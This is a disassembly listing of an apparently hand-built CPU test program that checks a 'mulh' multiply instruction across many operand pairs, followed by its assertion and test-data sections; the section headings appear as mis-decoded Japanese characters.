ebf0: 14 30 c5 08 br 10 <compare>,#al
ebf4: 00 10 00 41 add r2,1
ebf8: 0d 46 8d 0c wl16 r8,0x346c
ebfc: 0d 60 01 03 wh16 r8,0x3
ec00: 10 40 01 08 ld32 r8,r8
ec04: 0d 46 d5 24 wl16 r9,0x36a4
ec08: 0d 60 01 23 wh16 r9,0x3
ec0c: 10 40 01 29 ld32 r9,r9
ec10: 00 70 09 00 mulh r8,64
ec14: 20 70 03 e2 movepc rret,8
ec18: 14 30 c4 fe br 10 <compare>,#al
ec1c: 00 10 00 41 add r2,1
ec20: 0d 46 8d 10 wl16 r8,0x3470
ec24: 0d 60 01 03 wh16 r8,0x3
ec28: 10 40 01 08 ld32 r8,r8
ec2c: 0d 46 d5 28 wl16 r9,0x36a8
ec30: 0d 60 01 23 wh16 r9,0x3
ec34: 10 40 01 29 ld32 r9,r9
ec38: 00 70 11 00 mulh r8,128
ec3c: 20 70 03 e2 movepc rret,8
ec40: 14 30 c4 f4 br 10 <compare>,#al
ec44: 00 10 00 41 add r2,1
ec48: 0d 46 8d 14 wl16 r8,0x3474
ec4c: 0d 60 01 03 wh16 r8,0x3
ec50: 10 40 01 08 ld32 r8,r8
ec54: 0d 46 d5 2c wl16 r9,0x36ac
ec58: 0d 60 01 23 wh16 r9,0x3
ec5c: 10 40 01 29 ld32 r9,r9
ec60: 00 70 21 00 mulh r8,256
ec64: 20 70 03 e2 movepc rret,8
ec68: 14 30 c4 ea br 10 <compare>,#al
ec6c: 00 10 00 41 add r2,1
ec70: 0d 46 8d 18 wl16 r8,0x3478
ec74: 0d 60 01 03 wh16 r8,0x3
ec78: 10 40 01 08 ld32 r8,r8
ec7c: 0d 46 d5 30 wl16 r9,0x36b0
ec80: 0d 60 01 23 wh16 r9,0x3
ec84: 10 40 01 29 ld32 r9,r9
ec88: 00 70 41 00 mulh r8,512
ec8c: 20 70 03 e2 movepc rret,8
ec90: 14 30 c4 e0 br 10 <compare>,#al
ec94: 00 10 00 41 add r2,1
ec98: 0d 46 8d 1c wl16 r8,0x347c
ec9c: 0d 60 01 03 wh16 r8,0x3
eca0: 10 40 01 08 ld32 r8,r8
eca4: 0d 46 d5 34 wl16 r9,0x36b4
eca8: 0d 60 01 23 wh16 r9,0x3
ecac: 10 40 01 29 ld32 r9,r9
ecb0: 00 70 81 00 mulh r8,-1024
ecb4: 20 70 03 e2 movepc rret,8
ecb8: 14 30 c4 d6 br 10 <compare>,#al
ecbc: 00 10 00 41 add r2,1
ecc0: 0d 46 91 00 wl16 r8,0x3480
ecc4: 0d 60 01 03 wh16 r8,0x3
ecc8: 10 40 01 08 ld32 r8,r8
eccc: 0d 46 d5 38 wl16 r9,0x36b8
ecd0: 0d 60 01 23 wh16 r9,0x3
ecd4: 10 40 01 29 ld32 r9,r9
ecd8: 00 70 01 01 mulh r8,1
ecdc: 20 70 03 e2 movepc rret,8
ece0: 14 30 c4 cc br 10 <compare>,#al
ece4: 00 10 00 41 add r2,1
ece8: 0d 46 91 04 wl16 r8,0x3484
ecec: 0d 60 01 03 wh16 r8,0x3
ecf0: 10 40 01 08 ld32 r8,r8
ecf4: 0d 46 d5 3c wl16 r9,0x36bc
ecf8: 0d 60 01 23 wh16 r9,0x3
ecfc: 10 40 01 29 ld32 r9,r9
ed00: 00 70 01 02 mulh r8,2
ed04: 20 70 03 e2 movepc rret,8
ed08: 14 30 c4 c2 br 10 <compare>,#al
ed0c: 00 10 00 41 add r2,1
ed10: 0d 46 91 08 wl16 r8,0x3488
ed14: 0d 60 01 03 wh16 r8,0x3
ed18: 10 40 01 08 ld32 r8,r8
ed1c: 0d 46 d9 20 wl16 r9,0x36c0
ed20: 0d 60 01 23 wh16 r9,0x3
ed24: 10 40 01 29 ld32 r9,r9
ed28: 00 70 01 04 mulh r8,4
ed2c: 20 70 03 e2 movepc rret,8
ed30: 14 30 c4 b8 br 10 <compare>,#al
ed34: 00 10 00 41 add r2,1
ed38: 0d 46 91 0c wl16 r8,0x348c
ed3c: 0d 60 01 03 wh16 r8,0x3
ed40: 10 40 01 08 ld32 r8,r8
ed44: 0d 46 d9 24 wl16 r9,0x36c4
ed48: 0d 60 01 23 wh16 r9,0x3
ed4c: 10 40 01 29 ld32 r9,r9
ed50: 00 70 01 08 mulh r8,8
ed54: 20 70 03 e2 movepc rret,8
ed58: 14 30 c4 ae br 10 <compare>,#al
ed5c: 00 10 00 41 add r2,1
ed60: 0d 46 91 10 wl16 r8,0x3490
ed64: 0d 60 01 03 wh16 r8,0x3
ed68: 10 40 01 08 ld32 r8,r8
ed6c: 0d 46 d9 28 wl16 r9,0x36c8
ed70: 0d 60 01 23 wh16 r9,0x3
ed74: 10 40 01 29 ld32 r9,r9
ed78: 00 70 01 10 mulh r8,16
ed7c: 20 70 03 e2 movepc rret,8
ed80: 14 30 c4 a4 br 10 <compare>,#al
ed84: 00 10 00 41 add r2,1
ed88: 0d 46 91 14 wl16 r8,0x3494
ed8c: 0d 60 01 03 wh16 r8,0x3
ed90: 10 40 01 08 ld32 r8,r8
ed94: 0d 46 d9 2c wl16 r9,0x36cc
ed98: 0d 60 01 23 wh16 r9,0x3
ed9c: 10 40 01 29 ld32 r9,r9
eda0: 00 70 05 00 mulh r8,32
eda4: 20 70 03 e2 movepc rret,8
eda8: 14 30 c4 9a br 10 <compare>,#al
edac: 00 10 00 41 add r2,1
edb0: 0d 46 91 18 wl16 r8,0x3498
edb4: 0d 60 01 03 wh16 r8,0x3
edb8: 10 40 01 08 ld32 r8,r8
edbc: 0d 46 d9 30 wl16 r9,0x36d0
edc0: 0d 60 01 23 wh16 r9,0x3
edc4: 10 40 01 29 ld32 r9,r9
edc8: 00 70 09 00 mulh r8,64
edcc: 20 70 03 e2 movepc rret,8
edd0: 14 30 c4 90 br 10 <compare>,#al
edd4: 00 10 00 41 add r2,1
edd8: 0d 46 91 1c wl16 r8,0x349c
eddc: 0d 60 01 03 wh16 r8,0x3
ede0: 10 40 01 08 ld32 r8,r8
ede4: 0d 46 d9 34 wl16 r9,0x36d4
ede8: 0d 60 01 23 wh16 r9,0x3
edec: 10 40 01 29 ld32 r9,r9
edf0: 00 70 11 00 mulh r8,128
edf4: 20 70 03 e2 movepc rret,8
edf8: 14 30 c4 86 br 10 <compare>,#al
edfc: 00 10 00 41 add r2,1
ee00: 0d 46 95 00 wl16 r8,0x34a0
ee04: 0d 60 01 03 wh16 r8,0x3
ee08: 10 40 01 08 ld32 r8,r8
ee0c: 0d 46 d9 38 wl16 r9,0x36d8
ee10: 0d 60 01 23 wh16 r9,0x3
ee14: 10 40 01 29 ld32 r9,r9
ee18: 00 70 21 00 mulh r8,256
ee1c: 20 70 03 e2 movepc rret,8
ee20: 14 30 c4 7c br 10 <compare>,#al
ee24: 00 10 00 41 add r2,1
ee28: 0d 46 95 04 wl16 r8,0x34a4
ee2c: 0d 60 01 03 wh16 r8,0x3
ee30: 10 40 01 08 ld32 r8,r8
ee34: 0d 46 d9 3c wl16 r9,0x36dc
ee38: 0d 60 01 23 wh16 r9,0x3
ee3c: 10 40 01 29 ld32 r9,r9
ee40: 00 70 41 00 mulh r8,512
ee44: 20 70 03 e2 movepc rret,8
ee48: 14 30 c4 72 br 10 <compare>,#al
ee4c: 00 10 00 41 add r2,1
ee50: 0d 46 95 08 wl16 r8,0x34a8
ee54: 0d 60 01 03 wh16 r8,0x3
ee58: 10 40 01 08 ld32 r8,r8
ee5c: 0d 46 dd 20 wl16 r9,0x36e0
ee60: 0d 60 01 23 wh16 r9,0x3
ee64: 10 40 01 29 ld32 r9,r9
ee68: 00 70 81 00 mulh r8,-1024
ee6c: 20 70 03 e2 movepc rret,8
ee70: 14 30 c4 68 br 10 <compare>,#al
ee74: 00 10 00 41 add r2,1
ee78: 0d 46 95 0c wl16 r8,0x34ac
ee7c: 0d 60 01 03 wh16 r8,0x3
ee80: 10 40 01 08 ld32 r8,r8
ee84: 0d 46 dd 24 wl16 r9,0x36e4
ee88: 0d 60 01 23 wh16 r9,0x3
ee8c: 10 40 01 29 ld32 r9,r9
ee90: 00 70 01 01 mulh r8,1
ee94: 20 70 03 e2 movepc rret,8
ee98: 14 30 c4 5e br 10 <compare>,#al
ee9c: 00 10 00 41 add r2,1
eea0: 0d 46 95 10 wl16 r8,0x34b0
eea4: 0d 60 01 03 wh16 r8,0x3
eea8: 10 40 01 08 ld32 r8,r8
eeac: 0d 46 dd 28 wl16 r9,0x36e8
eeb0: 0d 60 01 23 wh16 r9,0x3
eeb4: 10 40 01 29 ld32 r9,r9
eeb8: 00 70 01 02 mulh r8,2
eebc: 20 70 03 e2 movepc rret,8
eec0: 14 30 c4 54 br 10 <compare>,#al
eec4: 00 10 00 41 add r2,1
eec8: 0d 46 95 14 wl16 r8,0x34b4
eecc: 0d 60 01 03 wh16 r8,0x3
eed0: 10 40 01 08 ld32 r8,r8
eed4: 0d 46 dd 2c wl16 r9,0x36ec
eed8: 0d 60 01 23 wh16 r9,0x3
eedc: 10 40 01 29 ld32 r9,r9
eee0: 00 70 01 04 mulh r8,4
eee4: 20 70 03 e2 movepc rret,8
eee8: 14 30 c4 4a br 10 <compare>,#al
eeec: 00 10 00 41 add r2,1
eef0: 0d 46 95 18 wl16 r8,0x34b8
eef4: 0d 60 01 03 wh16 r8,0x3
eef8: 10 40 01 08 ld32 r8,r8
eefc: 0d 46 dd 30 wl16 r9,0x36f0
ef00: 0d 60 01 23 wh16 r9,0x3
ef04: 10 40 01 29 ld32 r9,r9
ef08: 00 70 01 08 mulh r8,8
ef0c: 20 70 03 e2 movepc rret,8
ef10: 14 30 c4 40 br 10 <compare>,#al
ef14: 00 10 00 41 add r2,1
ef18: 0d 46 95 1c wl16 r8,0x34bc
ef1c: 0d 60 01 03 wh16 r8,0x3
ef20: 10 40 01 08 ld32 r8,r8
ef24: 0d 46 dd 34 wl16 r9,0x36f4
ef28: 0d 60 01 23 wh16 r9,0x3
ef2c: 10 40 01 29 ld32 r9,r9
ef30: 00 70 01 10 mulh r8,16
ef34: 20 70 03 e2 movepc rret,8
ef38: 14 30 c4 36 br 10 <compare>,#al
ef3c: 00 10 00 41 add r2,1
ef40: 0d 46 99 00 wl16 r8,0x34c0
ef44: 0d 60 01 03 wh16 r8,0x3
ef48: 10 40 01 08 ld32 r8,r8
ef4c: 0d 46 dd 38 wl16 r9,0x36f8
ef50: 0d 60 01 23 wh16 r9,0x3
ef54: 10 40 01 29 ld32 r9,r9
ef58: 00 70 05 00 mulh r8,32
ef5c: 20 70 03 e2 movepc rret,8
ef60: 14 30 c4 2c br 10 <compare>,#al
ef64: 00 10 00 41 add r2,1
ef68: 0d 46 99 04 wl16 r8,0x34c4
ef6c: 0d 60 01 03 wh16 r8,0x3
ef70: 10 40 01 08 ld32 r8,r8
ef74: 0d 46 dd 3c wl16 r9,0x36fc
ef78: 0d 60 01 23 wh16 r9,0x3
ef7c: 10 40 01 29 ld32 r9,r9
ef80: 00 70 09 00 mulh r8,64
ef84: 20 70 03 e2 movepc rret,8
ef88: 14 30 c4 22 br 10 <compare>,#al
ef8c: 00 10 00 41 add r2,1
ef90: 0d 46 99 08 wl16 r8,0x34c8
ef94: 0d 60 01 03 wh16 r8,0x3
ef98: 10 40 01 08 ld32 r8,r8
ef9c: 0d 46 e1 20 wl16 r9,0x3700
efa0: 0d 60 01 23 wh16 r9,0x3
efa4: 10 40 01 29 ld32 r9,r9
efa8: 00 70 11 00 mulh r8,128
efac: 20 70 03 e2 movepc rret,8
efb0: 14 30 c4 18 br 10 <compare>,#al
efb4: 00 10 00 41 add r2,1
efb8: 0d 46 99 0c wl16 r8,0x34cc
efbc: 0d 60 01 03 wh16 r8,0x3
efc0: 10 40 01 08 ld32 r8,r8
efc4: 0d 46 e1 24 wl16 r9,0x3704
efc8: 0d 60 01 23 wh16 r9,0x3
efcc: 10 40 01 29 ld32 r9,r9
efd0: 00 70 21 00 mulh r8,256
efd4: 20 70 03 e2 movepc rret,8
efd8: 14 30 c4 0e br 10 <compare>,#al
efdc: 00 10 00 41 add r2,1
efe0: 0d 46 99 10 wl16 r8,0x34d0
efe4: 0d 60 01 03 wh16 r8,0x3
efe8: 10 40 01 08 ld32 r8,r8
efec: 0d 46 e1 28 wl16 r9,0x3708
eff0: 0d 60 01 23 wh16 r9,0x3
eff4: 10 40 01 29 ld32 r9,r9
eff8: 00 70 41 00 mulh r8,512
effc: 20 70 03 e2 movepc rret,8
f000: 14 30 c4 04 br 10 <compare>,#al
f004: 00 10 00 41 add r2,1
f008: 0d 46 99 14 wl16 r8,0x34d4
f00c: 0d 60 01 03 wh16 r8,0x3
f010: 10 40 01 08 ld32 r8,r8
f014: 0d 46 e1 2c wl16 r9,0x370c
f018: 0d 60 01 23 wh16 r9,0x3
f01c: 10 40 01 29 ld32 r9,r9
f020: 00 70 81 00 mulh r8,-1024
f024: 20 70 03 e2 movepc rret,8
f028: 14 30 c3 fa br 10 <compare>,#al
f02c: 00 10 00 41 add r2,1
f030: 0d 46 99 18 wl16 r8,0x34d8
f034: 0d 60 01 03 wh16 r8,0x3
f038: 10 40 01 08 ld32 r8,r8
f03c: 0d 46 e1 30 wl16 r9,0x3710
f040: 0d 60 01 23 wh16 r9,0x3
f044: 10 40 01 29 ld32 r9,r9
f048: 00 70 01 01 mulh r8,1
f04c: 20 70 03 e2 movepc rret,8
f050: 14 30 c3 f0 br 10 <compare>,#al
f054: 00 10 00 41 add r2,1
f058: 0d 46 99 1c wl16 r8,0x34dc
f05c: 0d 60 01 03 wh16 r8,0x3
f060: 10 40 01 08 ld32 r8,r8
f064: 0d 46 e1 34 wl16 r9,0x3714
f068: 0d 60 01 23 wh16 r9,0x3
f06c: 10 40 01 29 ld32 r9,r9
f070: 00 70 01 02 mulh r8,2
f074: 20 70 03 e2 movepc rret,8
f078: 14 30 c3 e6 br 10 <compare>,#al
f07c: 00 10 00 41 add r2,1
f080: 0d 46 9d 00 wl16 r8,0x34e0
f084: 0d 60 01 03 wh16 r8,0x3
f088: 10 40 01 08 ld32 r8,r8
f08c: 0d 46 e1 38 wl16 r9,0x3718
f090: 0d 60 01 23 wh16 r9,0x3
f094: 10 40 01 29 ld32 r9,r9
f098: 00 70 01 04 mulh r8,4
f09c: 20 70 03 e2 movepc rret,8
f0a0: 14 30 c3 dc br 10 <compare>,#al
f0a4: 00 10 00 41 add r2,1
f0a8: 0d 46 9d 04 wl16 r8,0x34e4
f0ac: 0d 60 01 03 wh16 r8,0x3
f0b0: 10 40 01 08 ld32 r8,r8
f0b4: 0d 46 e1 3c wl16 r9,0x371c
f0b8: 0d 60 01 23 wh16 r9,0x3
f0bc: 10 40 01 29 ld32 r9,r9
f0c0: 00 70 01 08 mulh r8,8
f0c4: 20 70 03 e2 movepc rret,8
f0c8: 14 30 c3 d2 br 10 <compare>,#al
f0cc: 00 10 00 41 add r2,1
f0d0: 0d 46 9d 08 wl16 r8,0x34e8
f0d4: 0d 60 01 03 wh16 r8,0x3
f0d8: 10 40 01 08 ld32 r8,r8
f0dc: 0d 46 e5 20 wl16 r9,0x3720
f0e0: 0d 60 01 23 wh16 r9,0x3
f0e4: 10 40 01 29 ld32 r9,r9
f0e8: 00 70 01 10 mulh r8,16
f0ec: 20 70 03 e2 movepc rret,8
f0f0: 14 30 c3 c8 br 10 <compare>,#al
f0f4: 00 10 00 41 add r2,1
f0f8: 0d 46 9d 0c wl16 r8,0x34ec
f0fc: 0d 60 01 03 wh16 r8,0x3
f100: 10 40 01 08 ld32 r8,r8
f104: 0d 46 e5 24 wl16 r9,0x3724
f108: 0d 60 01 23 wh16 r9,0x3
f10c: 10 40 01 29 ld32 r9,r9
f110: 00 70 05 00 mulh r8,32
f114: 20 70 03 e2 movepc rret,8
f118: 14 30 c3 be br 10 <compare>,#al
f11c: 00 10 00 41 add r2,1
f120: 0d 46 9d 10 wl16 r8,0x34f0
f124: 0d 60 01 03 wh16 r8,0x3
f128: 10 40 01 08 ld32 r8,r8
f12c: 0d 46 e5 28 wl16 r9,0x3728
f130: 0d 60 01 23 wh16 r9,0x3
f134: 10 40 01 29 ld32 r9,r9
f138: 00 70 09 00 mulh r8,64
f13c: 20 70 03 e2 movepc rret,8
f140: 14 30 c3 b4 br 10 <compare>,#al
f144: 00 10 00 41 add r2,1
f148: 0d 46 9d 14 wl16 r8,0x34f4
f14c: 0d 60 01 03 wh16 r8,0x3
f150: 10 40 01 08 ld32 r8,r8
f154: 0d 46 e5 2c wl16 r9,0x372c
f158: 0d 60 01 23 wh16 r9,0x3
f15c: 10 40 01 29 ld32 r9,r9
f160: 00 70 11 00 mulh r8,128
f164: 20 70 03 e2 movepc rret,8
f168: 14 30 c3 aa br 10 <compare>,#al
f16c: 00 10 00 41 add r2,1
f170: 0d 46 9d 18 wl16 r8,0x34f8
f174: 0d 60 01 03 wh16 r8,0x3
f178: 10 40 01 08 ld32 r8,r8
f17c: 0d 46 e5 30 wl16 r9,0x3730
f180: 0d 60 01 23 wh16 r9,0x3
f184: 10 40 01 29 ld32 r9,r9
f188: 00 70 21 00 mulh r8,256
f18c: 20 70 03 e2 movepc rret,8
f190: 14 30 c3 a0 br 10 <compare>,#al
f194: 00 10 00 41 add r2,1
f198: 0d 46 9d 1c wl16 r8,0x34fc
f19c: 0d 60 01 03 wh16 r8,0x3
f1a0: 10 40 01 08 ld32 r8,r8
f1a4: 0d 46 e5 34 wl16 r9,0x3734
f1a8: 0d 60 01 23 wh16 r9,0x3
f1ac: 10 40 01 29 ld32 r9,r9
f1b0: 00 70 41 00 mulh r8,512
f1b4: 20 70 03 e2 movepc rret,8
f1b8: 14 30 c3 96 br 10 <compare>,#al
f1bc: 00 10 00 41 add r2,1
f1c0: 0d 46 a1 00 wl16 r8,0x3500
f1c4: 0d 60 01 03 wh16 r8,0x3
f1c8: 10 40 01 08 ld32 r8,r8
f1cc: 0d 46 e5 38 wl16 r9,0x3738
f1d0: 0d 60 01 23 wh16 r9,0x3
f1d4: 10 40 01 29 ld32 r9,r9
f1d8: 00 70 81 00 mulh r8,-1024
f1dc: 20 70 03 e2 movepc rret,8
f1e0: 14 30 c3 8c br 10 <compare>,#al
f1e4: 00 10 00 41 add r2,1
f1e8: 0d 46 a1 04 wl16 r8,0x3504
f1ec: 0d 60 01 03 wh16 r8,0x3
f1f0: 10 40 01 08 ld32 r8,r8
f1f4: 0d 46 e5 3c wl16 r9,0x373c
f1f8: 0d 60 01 23 wh16 r9,0x3
f1fc: 10 40 01 29 ld32 r9,r9
f200: 00 70 01 03 mulh r8,3
f204: 20 70 03 e2 movepc rret,8
f208: 14 30 c3 82 br 10 <compare>,#al
f20c: 00 10 00 41 add r2,1
f210: 0d 46 a1 08 wl16 r8,0x3508
f214: 0d 60 01 03 wh16 r8,0x3
f218: 10 40 01 08 ld32 r8,r8
f21c: 0d 46 e9 20 wl16 r9,0x3740
f220: 0d 60 01 23 wh16 r9,0x3
f224: 10 40 01 29 ld32 r9,r9
f228: 00 70 01 07 mulh r8,7
f22c: 20 70 03 e2 movepc rret,8
f230: 14 30 c3 78 br 10 <compare>,#al
f234: 00 10 00 41 add r2,1
f238: 0d 46 a1 0c wl16 r8,0x350c
f23c: 0d 60 01 03 wh16 r8,0x3
f240: 10 40 01 08 ld32 r8,r8
f244: 0d 46 e9 24 wl16 r9,0x3744
f248: 0d 60 01 23 wh16 r9,0x3
f24c: 10 40 01 29 ld32 r9,r9
f250: 00 70 01 0f mulh r8,15
f254: 20 70 03 e2 movepc rret,8
f258: 14 30 c3 6e br 10 <compare>,#al
f25c: 00 10 00 41 add r2,1
f260: 0d 46 a1 10 wl16 r8,0x3510
f264: 0d 60 01 03 wh16 r8,0x3
f268: 10 40 01 08 ld32 r8,r8
f26c: 0d 46 e9 28 wl16 r9,0x3748
f270: 0d 60 01 23 wh16 r9,0x3
f274: 10 40 01 29 ld32 r9,r9
f278: 00 70 01 1f mulh r8,31
f27c: 20 70 03 e2 movepc rret,8
f280: 14 30 c3 64 br 10 <compare>,#al
f284: 00 10 00 41 add r2,1
f288: 0d 46 a1 14 wl16 r8,0x3514
f28c: 0d 60 01 03 wh16 r8,0x3
f290: 10 40 01 08 ld32 r8,r8
f294: 0d 46 e9 2c wl16 r9,0x374c
f298: 0d 60 01 23 wh16 r9,0x3
f29c: 10 40 01 29 ld32 r9,r9
f2a0: 00 70 05 1f mulh r8,63
f2a4: 20 70 03 e2 movepc rret,8
f2a8: 14 30 c3 5a br 10 <compare>,#al
f2ac: 00 10 00 41 add r2,1
f2b0: 0d 46 a1 18 wl16 r8,0x3518
f2b4: 0d 60 01 03 wh16 r8,0x3
f2b8: 10 40 01 08 ld32 r8,r8
f2bc: 0d 46 e9 30 wl16 r9,0x3750
f2c0: 0d 60 01 23 wh16 r9,0x3
f2c4: 10 40 01 29 ld32 r9,r9
f2c8: 00 70 0d 1f mulh r8,127
f2cc: 20 70 03 e2 movepc rret,8
f2d0: 14 30 c3 50 br 10 <compare>,#al
f2d4: 00 10 00 41 add r2,1
f2d8: 0d 46 a1 1c wl16 r8,0x351c
f2dc: 0d 60 01 03 wh16 r8,0x3
f2e0: 10 40 01 08 ld32 r8,r8
f2e4: 0d 46 e9 34 wl16 r9,0x3754
f2e8: 0d 60 01 23 wh16 r9,0x3
f2ec: 10 40 01 29 ld32 r9,r9
f2f0: 00 70 1d 1f mulh r8,255
f2f4: 20 70 03 e2 movepc rret,8
f2f8: 14 30 c3 46 br 10 <compare>,#al
f2fc: 00 10 00 41 add r2,1
f300: 0d 46 a5 00 wl16 r8,0x3520
f304: 0d 60 01 03 wh16 r8,0x3
f308: 10 40 01 08 ld32 r8,r8
f30c: 0d 46 e9 38 wl16 r9,0x3758
f310: 0d 60 01 23 wh16 r9,0x3
f314: 10 40 01 29 ld32 r9,r9
f318: 00 70 3d 1f mulh r8,511
f31c: 20 70 03 e2 movepc rret,8
f320: 14 30 c3 3c br 10 <compare>,#al
f324: 00 10 00 41 add r2,1
f328: 0d 46 a5 04 wl16 r8,0x3524
f32c: 0d 60 01 03 wh16 r8,0x3
f330: 10 40 01 08 ld32 r8,r8
f334: 0d 46 e9 3c wl16 r9,0x375c
f338: 0d 60 01 23 wh16 r9,0x3
f33c: 10 40 01 29 ld32 r9,r9
f340: 00 70 7d 1f mulh r8,1023
f344: 20 70 03 e2 movepc rret,8
f348: 14 30 c3 32 br 10 <compare>,#al
f34c: 00 10 00 41 add r2,1
f350: 0d 46 a5 08 wl16 r8,0x3528
f354: 0d 60 01 03 wh16 r8,0x3
f358: 10 40 01 08 ld32 r8,r8
f35c: 0d 46 ed 20 wl16 r9,0x3760
f360: 0d 60 01 23 wh16 r9,0x3
f364: 10 40 01 29 ld32 r9,r9
f368: 00 70 fd 1f mulh r8,-1
f36c: 20 70 03 e2 movepc rret,8
f370: 14 30 c3 28 br 10 <compare>,#al
f374: 00 10 00 41 add r2,1
f378: 14 30 c3 38 br 58 <finish>,#al
ใปใฏใทใงใณ .assert ใฎ้ใขใปใณใใซ:
00020000 <CHECK_FLAG>:
20000: 00 00 00 01 add r0,r1
00020004 <CHECK_FINISH>:
20004: 00 00 00 00 add r0,r0
00020008 <ERROR_TYPE>:
20008: 00 00 00 00 add r0,r0
0002000c <ERROR_NUMBER>:
2000c: 00 00 00 00 add r0,r0
00020010 <ERROR_RESULT>:
20010: 00 00 00 00 add r0,r0
00020014 <ERROR_EXPECT>:
20014: 00 00 00 00 add r0,r0
ใปใฏใทใงใณ .data ใฎ้ใขใปใณใใซ:
00030000 <T_SRC0_0>:
30000: 00 00 00 00 add r0,r0
00030004 <T_SRC0_1>:
30004: 00 00 00 00 add r0,r0
00030008 <T_SRC0_2>:
30008: 00 00 00 00 add r0,r0
0003000c <T_SRC0_3>:
3000c: 00 00 00 00 add r0,r0
00030010 <T_SRC0_4>:
30010: 00 00 00 00 add r0,r0
00030014 <T_SRC0_5>:
30014: 00 00 00 00 add r0,r0
00030018 <T_SRC0_6>:
30018: 00 00 00 00 add r0,r0
0003001c <T_SRC0_7>:
3001c: 00 00 00 00 add r0,r0
00030020 <T_SRC0_8>:
30020: 00 00 00 00 add r0,r0
00030024 <T_SRC0_9>:
30024: 00 00 00 00 add r0,r0
00030028 <T_SRC0_10>:
30028: 00 00 00 00 add r0,r0
0003002c <T_SRC0_11>:
3002c: 00 00 00 00 add r0,r0
00030030 <T_SRC0_12>:
30030: 00 00 00 00 add r0,r0
00030034 <T_SRC0_13>:
30034: 00 00 00 00 add r0,r0
00030038 <T_SRC0_14>:
30038: 00 00 00 00 add r0,r0
0003003c <T_SRC0_15>:
3003c: 00 00 00 00 add r0,r0
00030040 <T_SRC0_16>:
30040: 00 00 00 00 add r0,r0
00030044 <T_SRC0_17>:
30044: 00 00 00 00 add r0,r0
00030048 <T_SRC0_18>:
30048: 00 00 00 00 add r0,r0
0003004c <T_SRC0_19>:
3004c: 00 00 00 00 add r0,r0
00030050 <T_SRC0_20>:
30050: 00 00 00 00 add r0,r0
00030054 <T_SRC0_21>:
30054: 00 00 00 00 add r0,r0
00030058 <T_SRC0_22>:
30058: 00 00 00 00 add r0,r0
0003005c <T_SRC0_23>:
3005c: 00 00 00 00 add r0,r0
00030060 <T_SRC0_24>:
30060: 00 00 00 00 add r0,r0
00030064 <T_SRC0_25>:
30064: 00 00 00 00 add r0,r0
00030068 <T_SRC0_26>:
30068: 00 00 00 00 add r0,r0
0003006c <T_SRC0_27>:
3006c: 00 00 00 00 add r0,r0
00030070 <T_SRC0_28>:
30070: 00 00 00 00 add r0,r0
00030074 <T_SRC0_29>:
30074: 00 00 00 00 add r0,r0
00030078 <T_SRC0_30>:
30078: 00 00 00 00 add r0,r0
0003007c <T_SRC0_31>:
3007c: 00 00 00 00 add r0,r0
00030080 <T_SRC0_32>:
30080: 00 00 00 01 add r0,r1
00030084 <T_SRC0_33>:
30084: 00 00 00 01 add r0,r1
00030088 <T_SRC0_34>:
30088: 00 00 00 01 add r0,r1
0003008c <T_SRC0_35>:
3008c: 00 00 00 01 add r0,r1
00030090 <T_SRC0_36>:
30090: 00 00 00 01 add r0,r1
00030094 <T_SRC0_37>:
30094: 00 00 00 01 add r0,r1
00030098 <T_SRC0_38>:
30098: 00 00 00 01 add r0,r1
0003009c <T_SRC0_39>:
3009c: 00 00 00 01 add r0,r1
000300a0 <T_SRC0_40>:
300a0: 00 00 00 01 add r0,r1
000300a4 <T_SRC0_41>:
300a4: 00 00 00 01 add r0,r1
000300a8 <T_SRC0_42>:
300a8: 00 00 00 01 add r0,r1
000300ac <T_SRC0_43>:
300ac: 00 00 00 01 add r0,r1
000300b0 <T_SRC0_44>:
300b0: 00 00 00 01 add r0,r1
000300b4 <T_SRC0_45>:
300b4: 00 00 00 01 add r0,r1
000300b8 <T_SRC0_46>:
300b8: 00 00 00 01 add r0,r1
000300bc <T_SRC0_47>:
300bc: 00 00 00 01 add r0,r1
000300c0 <T_SRC0_48>:
300c0: 00 00 00 01 add r0,r1
000300c4 <T_SRC0_49>:
300c4: 00 00 00 01 add r0,r1
000300c8 <T_SRC0_50>:
300c8: 00 00 00 01 add r0,r1
000300cc <T_SRC0_51>:
300cc: 00 00 00 01 add r0,r1
000300d0 <T_SRC0_52>:
300d0: 00 00 00 01 add r0,r1
000300d4 <T_SRC0_53>:
300d4: 00 00 00 01 add r0,r1
000300d8 <T_SRC0_54>:
300d8: 00 00 00 01 add r0,r1
000300dc <T_SRC0_55>:
300dc: 00 00 00 01 add r0,r1
000300e0 <T_SRC0_56>:
300e0: 00 00 00 01 add r0,r1
000300e4 <T_SRC0_57>:
300e4: 00 00 00 01 add r0,r1
000300e8 <T_SRC0_58>:
300e8: 00 00 00 01 add r0,r1
000300ec <T_SRC0_59>:
300ec: 00 00 00 01 add r0,r1
000300f0 <T_SRC0_60>:
300f0: 00 00 00 01 add r0,r1
000300f4 <T_SRC0_61>:
300f4: 00 00 00 01 add r0,r1
000300f8 <T_SRC0_62>:
300f8: 00 00 00 01 add r0,r1
000300fc <T_SRC0_63>:
300fc: 00 00 00 01 add r0,r1
00030100 <T_SRC0_64>:
30100: 00 00 00 02 add r0,r2
00030104 <T_SRC0_65>:
30104: 00 00 00 02 add r0,r2
00030108 <T_SRC0_66>:
30108: 00 00 00 02 add r0,r2
0003010c <T_SRC0_67>:
3010c: 00 00 00 02 add r0,r2
00030110 <T_SRC0_68>:
30110: 00 00 00 02 add r0,r2
00030114 <T_SRC0_69>:
30114: 00 00 00 02 add r0,r2
00030118 <T_SRC0_70>:
30118: 00 00 00 02 add r0,r2
0003011c <T_SRC0_71>:
3011c: 00 00 00 02 add r0,r2
00030120 <T_SRC0_72>:
30120: 00 00 00 02 add r0,r2
00030124 <T_SRC0_73>:
30124: 00 00 00 02 add r0,r2
00030128 <T_SRC0_74>:
30128: 00 00 00 02 add r0,r2
0003012c <T_SRC0_75>:
3012c: 00 00 00 02 add r0,r2
00030130 <T_SRC0_76>:
30130: 00 00 00 02 add r0,r2
00030134 <T_SRC0_77>:
30134: 00 00 00 02 add r0,r2
00030138 <T_SRC0_78>:
30138: 00 00 00 02 add r0,r2
0003013c <T_SRC0_79>:
3013c: 00 00 00 02 add r0,r2
00030140 <T_SRC0_80>:
30140: 00 00 00 02 add r0,r2
00030144 <T_SRC0_81>:
30144: 00 00 00 02 add r0,r2
00030148 <T_SRC0_82>:
30148: 00 00 00 02 add r0,r2
0003014c <T_SRC0_83>:
3014c: 00 00 00 02 add r0,r2
00030150 <T_SRC0_84>:
30150: 00 00 00 02 add r0,r2
00030154 <T_SRC0_85>:
30154: 00 00 00 02 add r0,r2
00030158 <T_SRC0_86>:
30158: 00 00 00 02 add r0,r2
0003015c <T_SRC0_87>:
3015c: 00 00 00 02 add r0,r2
